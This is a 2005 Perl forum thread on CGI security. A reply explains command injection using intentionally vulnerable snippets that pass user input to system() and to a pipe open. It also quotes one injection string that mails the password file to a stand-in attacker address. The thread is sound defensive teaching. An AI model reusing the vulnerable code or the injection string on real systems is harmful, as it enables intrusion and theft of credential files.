in reply to Re: Structing a Web site and security issues
in thread Structuring a Web site and security issues

Thanks blue_cowdawg for your lengthy answer. There is so much to learn about Unix, servers, permissions, etc.

I've been using CGI::Application::Plugin::Config::Simple to read in my parameters. But tirwhan has me nervous about storing those logins at all.

Data validation ...

Thanks, I'm validating and untainting everything!

File uploads Treat with care.

I've been validating type, size, and then using CGI upload for this. Any other caveats?

Injection attacks...

Using placeholders for everything (I've been a monk long enough to never go without these)

Remote executions Web applications that allow random users to execute things

Do you have an example of this? I don't *think* I'm doing this.


—Brad
"The important work of moving the world forward does not wait to be done by perfect men." George Eliot
  • Comment on Re^2: Structing a Web site and security issues

Replies are listed 'Best First'.
Re^3: Structing a Web site and security issues
by blue_cowdawg (Monsignor) on Dec 26, 2005 at 19:45 UTC
        Do you have an example of this? I don't *think* I'm doing this.

    The most brutal example of this and an injection attack hole I can think of would be something like:

    | | handwaving of HTML here... | <p> Type in the address you want to look up <input type="text" name="host_to_search_rq"> </p> |
    with the CGI of
    # # Stuff left out.... my $hostname=$cgi->param('host_to_search_rq'); system("nslookup $hostname"); #BAD!!! BAD!!! BAD!!! # #

    First off it is concievable that the malicious hax0r has partially compromised your system already and has a script of their own named "nslookup" sitting in your path so you want to only invoke shell commands within your CGI using fully qualified pathnames to commands. That still doesn't fully get you off the hook, but it is a good start.

    Secondly, having not checked the contents of $hostname and blindly executing the query leaves you open to an injection attack. A malicious induhvidual could enter the string ";cat /etc/password | /usr/ucb/Mail hax0rRus@hax0r.org" which then sends them the contents of your /etc/password file for a future brute force attack.

    Another Dumb Idea® that I've actually seen folks do:

    | | Much handwaving again... | if (! $cgi->param('command_rq') ) { print $cgi->p("input a command: ", $cgi->text(-name=>"command_rq") ); } else { # OH MY GOD!!! DON'T DO THIS! open PIPE,$cgi->parma('command_rq') . "|" or die $!; my @results = <PIPE> print $cgi->pre(@results); }

    Talk about asking for trouble!

    Just a few ways to crash and burn in the world of CGI....

    Just remember, the web is not the "village" it used to be any more. It has grown up into a very large urban area with hookers and muggers on quite a few of the street corners. You would use caution if you had to walk through someplace like that in the Real World™ and you certainly wouldn't leave your doors unlocked there or put valuables out on the front porch. If you can think of a way to break your own security (and your should try and think of ways) someone else can too.


    Peter L. Berghold -- Unix Professional
    Peter -at- Berghold -dot- Net; AOL IM redcowdawg Yahoo IM: blue_cowdawg